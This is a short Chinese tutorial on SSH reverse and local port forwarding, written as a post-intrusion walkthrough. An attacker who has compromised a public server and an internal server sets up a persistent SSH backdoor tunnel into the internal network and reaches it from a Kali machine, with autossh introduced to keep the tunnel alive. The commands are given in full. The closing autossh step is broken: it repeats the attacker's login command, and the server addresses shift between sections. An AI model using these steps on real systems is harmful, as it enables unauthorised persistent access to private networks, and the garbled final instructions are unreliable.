SSH开启端口转发需要修改 /etc/ssh/sshd_config配置文件,将 GatewayPorts修改为yes
-f 后台执行ssh指令
-C 允许压缩数据
-N 不执行远程指令
-R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
-L 本地端口转发
-D 动态端口转发
现在我们有这么一个环境,我们拿到了公网服务器B的权限,并通过公网服务器B进一步内网渗透,拿到了内网服务器A的权限。但是现在我们想要在自己的Kali机器上,获取内网服务器A的一个稳定持久的SSH权限。那么,我们可以通过SSH反向隧道,来得到内网服务器A的一个SSH权限。我们可以将内网服务器A的22端口远程转发到公网服务器的1234端口。
通俗地说,就是在机器A上做到B机器的反向代理;然后在B机器上做正向代理实现远程端口的转发
首先,在内网服务器A的操作
反向代理
ssh -fCNR 192.168.10.139:8888:localhost:22 root@192.168.10.139 #意思就是将A机器的22号端口的流量都转发给B机器的8888端口
然后,公网服务器B的操作
SSH开启端口转发需要修改 /etc/ssh/sshd_config配置文件,将 GatewayPorts修改为yes
正向代理
ssh -fCNL *:1234:localhost:8888 localhost #意思就是将本地监听的1234端口的流量都转发给本地的8888端口
接着,在黑客机器C的操作,通过ssh公网服务器B的某个端口实现ssh内网服务器A的22号端口
ssh -p 1234 root@100.100.10.12 #ssh连接到公网服务器的1234端口
所以最终流量的走向是这样的:黑客SSH到公网服务器B的1234端口,公网服务器B监听了本地的1234端口,将流量转发到本地的8888端口,于是内网服务器A将本地的22号端口反向代理到了公网服务器B的8888端口,公网服务器B又将8888端口的流量转发到了本地的1234端口,所以黑客SSH连接到了内网服务器A。
缺点:这种ssh反向链接会因为超时而关闭,如果关闭了那从外网连通内网的通道就无法维持了,为此我们需要另外的方法来提供稳定的ssh反向代理隧道。
►用autossh建立稳定隧道
安装autossh:yum install autossh
autossh的参数与ssh的参数是一致的,但是不同的是,在隧道断开的时候,autossh会自动重新连接而ssh不会。另外不同的是我们需要指出的-M参数,这个参数指定一个端口,这个端口是外网的B机器用来接收内网A机器的信息,如果隧道不正常而返回给A机器让他实现重新连接。
在内网A机器上的操作:
ssh -p 1234 root@100.100.10.12 #ssh连接到公网服务器的1234端口